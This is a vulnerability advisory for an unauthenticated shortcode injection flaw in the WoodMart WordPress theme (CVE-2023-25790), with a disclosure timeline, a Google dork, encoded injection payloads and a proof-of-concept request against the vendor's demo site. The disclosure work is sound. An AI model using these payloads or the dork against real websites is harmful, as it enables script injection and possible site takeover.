WordPress WoodMart Theme 7.1.0 Shortcodes Injection

`==== [ Z://USB-00_RESEARCH/WORDPRESS/ ] ============================================= [ 2022 ] ==  
  
Report Title: WordPress WoodMart Theme <= 7.1.0 - Unauthenticated Arbitrary Shortcodes Injection  
Google Dork: inurl:/wp-content/themes/woodmart/  
Research Date: 2022-11-12  
Researcher: FearZzZz [ https://fearzzzz.ru ]  
Component Vendor: XTemos [ https://themeforest.net/user/xtemos ]  
Vulnerable Version: <= 7.1.0  
Component Link: https://themeforest.net/item/woodmart-woocommerce-wordpress-theme/20264492  
CVSS Base Score: 8.1 (High)  
CVSS Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H  
OWASP Top 10: A03: 2021 – Injection  
CWE: CWE-20  
CVE: CVE-2023-25790  
  
=================================================================================================  
  
#### [ Description: ]  
  
The WoodMart premium theme for WordPress is vulnerable to Unauthenticated Arbitrary Shortcodes Injection in versions up to, and including, v7.1.0. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. Note that the default WordPress shortcodes are relatively secure but other installed plugins often include insecure shortcodes, which allows to assess the potential attack threat as "medium" or "high".  
  
  
  
#### [ Impact: ]  
  
Malicious JavaScript code injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource.  
  
Malicious PHP code execution, the ability to gain full control over the attacked website, as well as retain access through the backdoor.  
  
  
  
#### [ Payloads: ]  
  
][vc_raw_html]PHNjcmlwdD5hbGVydChgRmVhclp6WnpgKTs8L3NjcmlwdD4=[/vc_raw_html][audio%20  
  
][vc_raw_js]PHNjcmlwdD5hbGVydChgRmVhclp6WnpgKTs8L3NjcmlwdD4=[/vc_raw_js][audio%20  
  
  
  
#### [ Proof-of-Concept: ]  
  
https://woodmart.xtemos.com/?s=][vc_raw_html]PHNjcmlwdD5hbGVydChgRmVhclp6WnpgKTs8L3NjcmlwdD4=[/vc_raw_html][audio%20&post_type=product&product_cat=lighting  
  
  
GET /?s=][vc_raw_html]PHNjcmlwdD5hbGVydChgRmVhclp6WnpgKTs8L3NjcmlwdD4=[/vc_raw_html][audio%20&post_type=product&product_cat=lighting HTTP/2  
Host: woodmart.xtemos.com  
  
  
  
#### [ Timeline: ]  
  
2022.11.12 - Vulnerability has been discovered.  
2022.11.22 - Vendor notified, first contact attempt. No response.  
2023.02.10 - Second attempt to contact the vendor. No response.  
2023.02.13 - WoodMart Theme v7.1.0 released.  
2023.02.13 - All the details was addressed to Envato and Patchstack. CVE ID requested.  
2023.02.14 - Got a response from Envato, got a response from the vendor.  
2023.02.14 - WoodMart Theme v7.1.1 released, the vulnerability has been fixed.  
  
  
  
#### [ Contacts: ]  
  
Website: fearzzzz.ru  
Email: [email protected]  
Twitter: https://twitter.com/fear_zzzz  
Medium: https://fearzzzz.medium.com  
GitHub: https://github.com/fearzzzz  
YouTube: https://youtube.com/@fearzzzz  
  
  
  
#### [ Notes: ]  
  
Prerequisite for successful exploitation: the "Display results from blog" option must be enabled on the target website (`&xts-woodmart-options[enqueue_posts_results]=1`).  
  
Special thanks to Mikhail Kobzarev (https://t.me/mihdan | https://wp-digest.com) for providing the original theme files.  
  
Additional greetings to Kailoon (ThemeForest Senior Reviewer, https://kailoon.com) and XTemos Studio (https://themeforest.net/user/xtemos) for the prompt response.  
  
  
  
#### [ Disclaimer: ]  
  
The information provided in this report is provided "as is" without warranty of any kind. FearZzZz disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall FearZzZz be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if FearZzZz have been advised of the possibility of such damages.  
  
========================================================================== [ www.fearzzzz.ru ] ==  
`